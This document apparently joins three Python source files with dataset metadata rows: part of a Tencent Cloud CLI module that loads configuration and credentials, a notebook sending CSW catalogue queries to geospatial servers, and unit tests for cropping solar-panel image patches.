"DescribeDataEventUrl": doDescribeDataEventUrl,
"DeleteOfflineLogRecord": doDeleteOfflineLogRecord,
"DescribeOfflineLogConfigs": doDescribeOfflineLogConfigs,
"DescribeScores": doDescribeScores,
"CreateProject": doCreateProject,
"DescribeDataReportCount": doDescribeDataReportCount,
"DescribeDataPvUrlInfo": doDescribeDataPvUrlInfo,
"DescribeDataStaticProject": doDescribeDataStaticProject,
"DeleteProject": doDeleteProject,
"DescribeOfflineLogRecords": doDescribeOfflineLogRecords,
"DescribeUvList": doDescribeUvList,
"DeleteOfflineLogConfig": doDeleteOfflineLogConfig,
"DescribeReleaseFiles": doDescribeReleaseFiles,
"ModifyInstance": doModifyInstance,
"DescribeDataFetchUrl": doDescribeDataFetchUrl,
"CreateOfflineLogConfig": doCreateOfflineLogConfig,
}
AVAILABLE_VERSION_LIST = [
"v20210622",
]
def action_caller():
return ACTION_MAP
def parse_global_arg(parsed_globals):
g_param = parsed_globals
is_exist_profile = True
if not parsed_globals["profile"]:
is_exist_profile = False
g_param["profile"] = "default"
configure_path = os.path.join(os.path.expanduser("~"), ".tccli")
is_conf_exist, conf_path = Utils.file_existed(configure_path, g_param["profile"] + ".configure")
is_cred_exist, cred_path = Utils.file_existed(configure_path, g_param["profile"] + ".credential")
conf = {}
cred = {}
if is_conf_exist:
conf = Utils.load_json_msg(conf_path)
if is_cred_exist:
cred = Utils.load_json_msg(cred_path)
if not (isinstance(conf, dict) and isinstance(cred, dict)):
raise ConfigurationError(
"file: %s or %s is not json format"
% (g_param["profile"] + ".configure", g_param["profile"] + ".credential"))
if OptionsDefine.Token not in cred:
cred[OptionsDefine.Token] = None
if not is_exist_profile:
if os.environ.get(OptionsDefine.ENV_SECRET_ID) and os.environ.get(OptionsDefine.ENV_SECRET_KEY):
cred[OptionsDefine.SecretId] = os.environ.get(OptionsDefine.ENV_SECRET_ID)
cred[OptionsDefine.SecretKey] = os.environ.get(OptionsDefine.ENV_SECRET_KEY)
cred[OptionsDefine.Token] = os.environ.get(OptionsDefine.ENV_TOKEN)
if os.environ.get(OptionsDefine.ENV_REGION):
conf[OptionsDefine.Region] = os.environ.get(OptionsDefine.ENV_REGION)
if os.environ.get(OptionsDefine.ENV_ROLE_ARN) and os.environ.get(OptionsDefine.ENV_ROLE_SESSION_NAME):
cred[OptionsDefine.RoleArn] = os.environ.get(OptionsDefine.ENV_ROLE_ARN)
cred[OptionsDefine.RoleSessionName] = os.environ.get(OptionsDefine.ENV_ROLE_SESSION_NAME)
for param in g_param.keys():
if g_param[param] is None:
if param in [OptionsDefine.SecretKey, OptionsDefine.SecretId, OptionsDefine.Token]:
if param in cred:
g_param[param] = cred[param]
elif not g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
raise ConfigurationError("%s is invalid" % param)
elif param in [OptionsDefine.Region, OptionsDefine.Output]:
if param in conf:
g_param[param] = conf[param]
else:
raise ConfigurationError("%s is invalid" % param)
elif param.replace('_', '-') in [OptionsDefine.RoleArn, OptionsDefine.RoleSessionName]:
if param.replace('_', '-') in cred:
g_param[param] = cred[param.replace('_', '-')]
try:
if g_param[OptionsDefine.ServiceVersion]:
g_param[OptionsDefine.Version] = "v" + g_param[OptionsDefine.ServiceVersion].replace('-', '')
else:
version = conf["rum"][OptionsDefine.Version]
g_param[OptionsDefine.Version] = "v" + version.replace('-', '')
if g_param[OptionsDefine.Endpoint] is None:
g_param[OptionsDefine.Endpoint] = conf["rum"][OptionsDefine.Endpoint]
except Exception as err:
raise ConfigurationError("config file:%s error, %s" % (conf_path, str(err)))
if g_param[OptionsDefine.Version] not in AVAILABLE_VERSION_LIST:
raise Exception("available versions: %s" % " ".join(AVAILABLE_VERSION_LIST))
if g_param[OptionsDefine.Waiter]:
param = eval(g_param[OptionsDefine.Waiter])
if 'expr' not in param:
raise Exception('`expr` in `--waiter` must be defined')
if 'to' not in param:
raise Exception('`to` in `--waiter` must be defined')
if 'timeout' not in param:
if 'waiter' in conf and 'timeout' in conf['waiter']:
param['timeout'] = conf['waiter']['timeout']
else:
param['timeout'] = 180
if 'interval' not in param:
if 'waiter' in conf and 'interval' in conf['waiter']:
param['interval'] = conf['waiter']['interval']
else:
param['timeout'] = 5
param['interval'] = min(param['interval'], param['timeout'])
g_param['OptionsDefine.WaiterInfo'] = param
# 如果在配置文件中读取字段的值，python2中的json.load函数会读取unicode类型的值，因此这里要转化类型
if six.PY2:
for key, value in g_param.items():
if isinstance(value, six.text_type):
g_param[key] = value.encode('utf-8')
return g_param
| 52.989957
| 155
| 0.67974
| 15,854
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| 0.098559
| 0.298763
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| 0.915875
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| 0.905396
| 0
| 0.004256
| 0.185757
| 147,736
| 2,787
| 156
| 53.00897
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| 0.814572
| 0
| 0
| 0.139619
| 0.074284
| 0
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| 1
| 0.021588
| false
| 0
| 0.006168
| 0.000386
| 0.028527
| 0.020817
| 0
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| 0
| null | 0
| 1
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|
0
| 8
|
cba597d4d043f355c9dc3c7b105137a414bf190f
| 13,391
|
py
|
Python
|
CSW/csw_post_request.py
|
petercunning/notebook
|
5b26f2dc96bcb36434542b397de6ca5fa3b61a0a
|
[
"MIT"
] | 32
|
2015-01-07T01:48:05.000Z
|
2022-03-02T07:07:42.000Z
|
CSW/csw_post_request.py
|
petercunning/notebook
|
5b26f2dc96bcb36434542b397de6ca5fa3b61a0a
|
[
"MIT"
] | 1
|
2015-04-13T21:00:18.000Z
|
2015-04-13T21:00:18.000Z
|
CSW/csw_post_request.py
|
petercunning/notebook
|
5b26f2dc96bcb36434542b397de6ca5fa3b61a0a
|
[
"MIT"
] | 30
|
2015-01-28T09:31:29.000Z
|
2022-03-07T03:08:28.000Z
|
# coding: utf-8
# # Try some "RAW" requests to pycsw
# In[1]:
import requests, json
# In[2]:
headers = {'Content-Type': 'application/xml'}
# ### Try apiso:serviceType query
# In[3]:
input = '''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:ogc="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
outputSchema="http://www.opengis.net/cat/csw/2.0.2" outputFormat="application/xml"
version="2.0.2" service="CSW" resultType="results" maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>summary</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\">
<ogc:PropertyName>apiso:ServiceType</ogc:PropertyName>
<ogc:Literal>*WMS*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
'''
# Geoport pycsw instance
# In[4]:
endpoint = 'http://geoport.whoi.edu/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# Geonode pycsw instance
# In[ ]:
endpoint = 'http://geonode.wfp.org/catalogue/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# geodata.gov.gr pycsw instance
# In[ ]:
endpoint = 'http://geodata.gov.gr/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# Data.Gov pycsw instance
# In[5]:
endpoint = 'http://catalog.data.gov/csw-all'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# PACIOOS pycsw instance
# In[6]:
endpoint = 'http://oos.soest.hawaii.edu/pacioos/ogc/csw.py'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# Data.ioos.us endpoint
# In[7]:
endpoint = 'http://data.ioos.us/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# ### Try using both apiso:AnyText and apiso:ServiceType queries
# In[ ]:
input = '''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:ogc="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
outputSchema="http://www.opengis.net/cat/csw/2.0.2" outputFormat="application/xml"
version="2.0.2" service="CSW" resultType="results" maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>summary</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:And>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\">
<ogc:PropertyName>apiso:AnyText</ogc:PropertyName>
<ogc:Literal>*coawst*</ogc:Literal>
</ogc:PropertyIsLike>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\">
<ogc:PropertyName>apiso:ServiceType</ogc:PropertyName>
<ogc:Literal>*OPeNDAP*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:And>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
'''
# In[ ]:
endpoint = 'http://geoport.whoi.edu/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# In[ ]:
endpoint = 'http://catalog.data.gov/csw-all'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# In[ ]:
endpoint = 'http://data.ioos.us/csw'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# In[ ]:
endpoint = 'http://catalog.data.gov/csw-all'
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:2000]
# ### BBOX query on NGDC Geoportal Server CSW
# In[ ]:
endpoint = 'http://www.ngdc.noaa.gov/geoportal/csw'
# In[ ]:
input='''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml" outputSchema="http://www.opengis.net/cat/csw/2.0.2"
outputFormat="application/xml" version="2.0.2" service="CSW" resultType="results"
maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>full</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:And>
<ogc:BBOX>
<ogc:PropertyName>ows:BoundingBox</ogc:PropertyName>
<gml:Envelope srsName="urn:ogc:def:crs:OGC:1.3:CRS84">
<gml:lowerCorner> -158.4 20.7</gml:lowerCorner>
<gml:upperCorner> -157.2 21.6</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
<ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_begin</ogc:PropertyName>
<ogc:Literal>2014-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_end</ogc:PropertyName>
<ogc:Literal>2014-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\\">
<ogc:PropertyName>apiso:AnyText</ogc:PropertyName>
<ogc:Literal>*sea_water_salinity*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:And>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
''';
# In[ ]:
xml_string=requests.post(endpoint, data=input, headers=headers).text
print xml_string[:650]
# ## BBOX query on PACIOOS pyCSW
# In[ ]:
input='''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml" outputSchema="http://www.opengis.net/cat/csw/2.0.2"
outputFormat="application/xml" version="2.0.2" service="CSW" resultType="results"
maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>full</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:And>
<ogc:BBOX>
<ogc:PropertyName>ows:BoundingBox</ogc:PropertyName>
<gml:Envelope srsName="urn:x-ogc:def:crs:EPSG:6.11:4326">
<gml:lowerCorner> 20.7 -158.4</gml:lowerCorner>
<gml:upperCorner> 21.6 -157.2</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
<ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_begin</ogc:PropertyName>
<ogc:Literal>2014-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_end</ogc:PropertyName>
<ogc:Literal>2014-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\\">
<ogc:PropertyName>apiso:AnyText</ogc:PropertyName>
<ogc:Literal>*sea_water_salinity*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:And>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
''';
# In[ ]:
endpoint='http://oos.soest.hawaii.edu/pacioos/ogc/csw.py'
# In[ ]:
xml_string=requests.post(endpoint, data=input, headers=headers).text
# In[ ]:
print xml_string[:2000]
# ## Query COMT pycsw
# ### Try (lat,lon) order of bounding box with `srsName=EPSG:4326`
# In[ ]:
input='''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml" outputSchema="http://www.opengis.net/cat/csw/2.0.2"
outputFormat="application/xml" version="2.0.2" service="CSW" resultType="results"
maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>full</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:And>
<ogc:BBOX>
<ogc:PropertyName>ows:BoundingBox</ogc:PropertyName>
<gml:Envelope srsName="urn:x-ogc:def:crs:EPSG:6.11:4326">
<gml:lowerCorner> 27 -100</gml:lowerCorner>
<gml:upperCorner> 30 -97</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
<ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_begin</ogc:PropertyName>
<ogc:Literal>2008-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_end</ogc:PropertyName>
<ogc:Literal>2008-06-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\\">
<ogc:PropertyName>apiso:AnyText</ogc:PropertyName>
<ogc:Literal>*FVCOM*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:And>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
''';
# In[ ]:
endpoint='http://comt.sura.org:8000/pycsw/csw.py'
# In[ ]:
xml_string=requests.post(endpoint, data=input, headers=headers).text
xml_string[:2000]
# ### Try (lon,lat) order of bounding box with `srsName=CRS84`
# In[ ]:
input='''
<csw:GetRecords xmlns:csw="http://www.opengis.net/cat/csw/2.0.2"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml" outputSchema="http://www.opengis.net/cat/csw/2.0.2"
outputFormat="application/xml" version="2.0.2" service="CSW" resultType="results"
maxRecords="1000"
xsi:schemaLocation="http://www.opengis.net/cat/csw/2.0.2 http://schemas.opengis.net/csw/2.0.2/CSW-discovery.xsd">
<csw:Query typeNames="csw:Record">
<csw:ElementSetName>full</csw:ElementSetName>
<csw:Constraint version="1.1.0">
<ogc:Filter>
<ogc:And>
<ogc:BBOX>
<ogc:PropertyName>ows:BoundingBox</ogc:PropertyName>
<gml:Envelope srsName="urn:ogc:def:crs:OGC:1.3:CRS84">
<gml:lowerCorner>-100 27</gml:lowerCorner>
<gml:upperCorner> -97 30</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
<ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_begin</ogc:PropertyName>
<ogc:Literal>2008-12-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsLessThanOrEqualTo>
<ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyName>apiso:TempExtent_end</ogc:PropertyName>
<ogc:Literal>2008-06-01T16:43:00Z</ogc:Literal>
</ogc:PropertyIsGreaterThanOrEqualTo>
<ogc:PropertyIsLike wildCard="*" singleChar="?" escapeChar="\\">
<ogc:PropertyName>apiso:AnyText</ogc:PropertyName>
<ogc:Literal>*FVCOM*</ogc:Literal>
</ogc:PropertyIsLike>
</ogc:And>
</ogc:Filter>
</csw:Constraint>
</csw:Query>
</csw:GetRecords>
''';
# In[ ]:
xml_string=requests.post(endpoint, data=input, headers=headers).text
xml_string[:2000]
# ### Woo hoo! We get 4 records returned with both (lat,lon) EPSG:4326 and (lon,lat) CRS84 queries! Success!!
# In[ ]:
endpoint='http://geoport.whoi.edu/pycsw'
# In[ ]:
xml_string=requests.post(endpoint, data=input, headers=headers).text
xml_string[:2000]
# In[ ]:
| 34.512887
| 117
| 0.593458
| 1,545
| 13,391
| 5.116505
| 0.106796
| 0.072106
| 0.011385
| 0.060215
| 0.905756
| 0.892094
| 0.881214
| 0.881214
| 0.875775
| 0.875775
| 0
| 0.042258
| 0.247181
| 13,391
| 387
| 118
| 34.602067
| 0.741891
| 0.059816
| 0
| 0.920168
| 0
| 0.134454
| 0.852361
| 0.263162
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.004202
| null | null | 0.05042
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
cba5fc94108574746ef2a93fcce0cdfe6100b8f5
| 12,625
|
py
|
Python
|
tests/unit/test_cropping.py
|
LukasBommes/PV-Drone-Inspect
|
af07a5e5690326837d1e9b26bdbb32f5582e89fd
|
[
"MIT"
] | 5
|
2021-12-07T10:54:54.000Z
|
2021-12-09T19:29:41.000Z
|
tests/unit/test_cropping.py
|
LukasBommes/PV-Drone-Inspect
|
af07a5e5690326837d1e9b26bdbb32f5582e89fd
|
[
"MIT"
] | 13
|
2022-01-24T16:40:32.000Z
|
2022-03-10T01:17:58.000Z
|
tests/unit/test_cropping.py
|
LukasBommes/PV-Hawk
|
af07a5e5690326837d1e9b26bdbb32f5582e89fd
|
[
"MIT"
] | 1
|
2021-11-25T14:17:22.000Z
|
2021-11-25T14:17:22.000Z
|
import unittest
import cv2
import numpy as np
from extractor.cropping import clip_to_image_region, \
crop_module, build_merged_index
quadrilaterals = {
('e3e70682-c209-4cac-a29f-6fbed82c07cd',
'frame_000000',
'mask_000000'): {
'quadrilateral': [
[424, 279],
[499, 280],
[499, 327],
[421, 323]
],
'center': (
460.95042812077514,
302.4197085774373
)
},
('f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'frame_000000',
'mask_000001'): {
'quadrilateral': [
[425, 326],
[499, 326],
[499, 377],
[425, 372]
],
'center': (
462.13331381447324,
350.2644805543356
)
},
('eb1167b3-67a9-4378-bc65-c1e582e2e662',
'frame_000000',
'mask_000002'): {
'quadrilateral': [
[164, 358],
[233, 363],
[233, 412],
[164, 408]
],
'center': (
198.48300673606857,
385.4114104919371
)
},
('f7c1bd87-4da5-4709-9471-3d60c8a70639',
'frame_000000',
'mask_000003'): {
'quadrilateral': [
[425, 234],
[497, 231],
[501, 279],
[421, 278]
],
'center': (
461.41970207121716,
255.7820630547903
)
},
('e443df78-9558-467f-9ba9-1faf7a024204',
'frame_000000',
'mask_000004'): {
'quadrilateral': [
[425, 94],
[498, 90],
[502, 136],
[425, 142]
],
'center': (
462.19730041647847,
115.55311355311355
)
}
}
class TestCropping(unittest.TestCase):
def test_clip_to_image_region_no_clip(self):
quad = np.array([
[[424, 279]],
[[499, 280]],
[[499, 327]],
[[421, 323]]
])
image_width = 640
image_height = 512
quad_clipped_gt = quad
quad_clipped = clip_to_image_region(
np.copy(quad), image_width, image_height)
self.assertTrue(
np.allclose(
quad_clipped,
quad_clipped_gt
)
)
def test_clip_to_image_region_clip_max(self):
quad = np.array([
[[424, 279]],
[[499, 280]],
[[499, 327]],
[[421, 323]]
])
image_width = 300
image_height = 200
quad_clipped_gt = np.array([
[[299, 199]],
[[299, 199]],
[[299, 199]],
[[299, 199]]
])
quad_clipped = clip_to_image_region(
np.copy(quad), image_width, image_height)
self.assertTrue(
np.allclose(
quad_clipped,
quad_clipped_gt
)
)
def test_clip_to_image_region_clip_min(self):
quad = np.array([
[[ -1, -1]],
[[100, -1]],
[[100, 100]],
[[ -1, 100]]
])
image_width = 200
image_height = 200
quad_clipped_gt = np.array([
[[ 0, 0]],
[[100, 0]],
[[100, 100]],
[[ 0, 100]]
])
quad_clipped = clip_to_image_region(
np.copy(quad), image_width, image_height)
self.assertTrue(
np.allclose(
quad_clipped,
quad_clipped_gt
)
)
def test_build_merged_index_merged_none(self):
merged_modules = None
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204': 'e443df78-9558-467f-9ba9-1faf7a024204',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'eb1167b3-67a9-4378-bc65-c1e582e2e662',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_build_merged_index_merged_empty(self):
merged_modules = []
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204': 'e443df78-9558-467f-9ba9-1faf7a024204',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'eb1167b3-67a9-4378-bc65-c1e582e2e662',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_build_merged_index_pair_merged(self):
merged_modules = [[
'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'f7c1bd87-4da5-4709-9471-3d60c8a70639'
]]
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204': 'e443df78-9558-467f-9ba9-1faf7a024204',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'eb1167b3-67a9-4378-bc65-c1e582e2e662',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_build_merged_index_triplet_merged(self):
merged_modules = [[
'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'e3e70682-c209-4cac-a29f-6fbed82c07cd'
]]
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'e443df78-9558-467f-9ba9-1faf7a024204': 'e443df78-9558-467f-9ba9-1faf7a024204',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'eb1167b3-67a9-4378-bc65-c1e582e2e662',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_build_merged_index_two_pairs_merged(self):
merged_modules = [
['f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'f7c1bd87-4da5-4709-9471-3d60c8a70639'],
['e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204']
]
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204': 'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'eb1167b3-67a9-4378-bc65-c1e582e2e662',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f728b4fa-4248-4e3a-8a5d-2f346baa9455'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_build_merged_index_all_merged(self):
merged_modules = [[
'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455',
'e3e70682-c209-4cac-a29f-6fbed82c07cd',
'e443df78-9558-467f-9ba9-1faf7a024204',
'eb1167b3-67a9-4378-bc65-c1e582e2e662',
]]
merged_index_gt = {
'e3e70682-c209-4cac-a29f-6fbed82c07cd': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'e443df78-9558-467f-9ba9-1faf7a024204': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'f7c1bd87-4da5-4709-9471-3d60c8a70639': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'eb1167b3-67a9-4378-bc65-c1e582e2e662': 'f7c1bd87-4da5-4709-9471-3d60c8a70639',
'f728b4fa-4248-4e3a-8a5d-2f346baa9455': 'f7c1bd87-4da5-4709-9471-3d60c8a70639'
}
merged_index = build_merged_index(merged_modules, quadrilaterals)
self.assertEqual(merged_index, merged_index_gt)
def test_crop_modules_real_data(self):
frame_file = "tests/unit/data/frame_000000.tiff"
frame = cv2.imread(frame_file, cv2.IMREAD_ANYDEPTH)
quad = np.array([
[[424, 279]],
[[499, 280]],
[[499, 327]],
[[421, 323]]
])
patch_file = "tests/unit/data/frame_000000_mask_000000.tiff"
patch_gt = cv2.imread(patch_file, cv2.IMREAD_ANYDEPTH)
patch, _ = crop_module(
frame,
quad,
crop_width=None,
crop_aspect=None,
rotate_mode="portrait"
)
self.assertTrue(np.allclose(patch, patch_gt))
def test_crop_modules_crop_full_frame(self):
frame_file = "tests/unit/data/frame_000000.tiff"
frame = cv2.imread(frame_file, cv2.IMREAD_ANYDEPTH)
quad = np.array([
[[0, 0]],
[[640, 0]],
[[640, 512]],
[[0, 512]]
])
patch, homography = crop_module(
frame,
quad,
crop_width=None,
crop_aspect=None,
rotate_mode="landscape"
)
self.assertTrue(np.allclose(patch, frame[0:-1, 0:-1]))
self.assertTrue(np.allclose(homography, np.eye(3)))
def test_crop_modules_portrait_vs_landscape(self):
frame_file = "tests/unit/data/frame_000000.tiff"
frame = cv2.imread(frame_file, cv2.IMREAD_ANYDEPTH)
quad = np.array([
[[424, 279]],
[[499, 280]],
[[499, 327]],
[[421, 323]]
])
patch, _ = crop_module(
frame,
quad,
crop_width=None,
crop_aspect=None,
rotate_mode="portrait"
)
self.assertEqual(patch.shape, (78, 47))
patch, _ = crop_module(
frame,
quad,
crop_width=None,
crop_aspect=None,
rotate_mode="landscape"
)
self.assertEqual(patch.shape, (47, 78))
patch, _ = crop_module(
frame,
quad,
crop_width=None,
crop_aspect=None,
rotate_mode=None
)
self.assertEqual(patch.shape, (47, 78)) # ?
def test_crop_modules_crop_width_and_aspect(self):
frame_file = "tests/unit/data/frame_000000.tiff"
frame = cv2.imread(frame_file, cv2.IMREAD_ANYDEPTH)
quad = np.array([
[[424, 279]],
[[499, 280]],
[[499, 327]],
[[421, 323]]
])
patch, _ = crop_module(
frame,
quad,
crop_width=50,
crop_aspect=0.625, # 1/1.6
rotate_mode="portrait"
)
self.assertEqual(patch.shape, (50, 31))
patch, _ = crop_module(
frame,
quad,
crop_width=50,
crop_aspect=1,
rotate_mode="portrait"
)
self.assertEqual(patch.shape, (50, 50))
patch, _ = crop_module(
frame,
quad,
crop_width=50,
crop_aspect=0.625, # 1/1.6
rotate_mode="landscape"
)
self.assertEqual(patch.shape, (31, 50))
patch, _ = crop_module(
frame,
quad,
crop_width=300,
crop_aspect=0.625, # 1/1.6
rotate_mode="portrait"
)
self.assertEqual(patch.shape, (300, 187))
| 31.962025
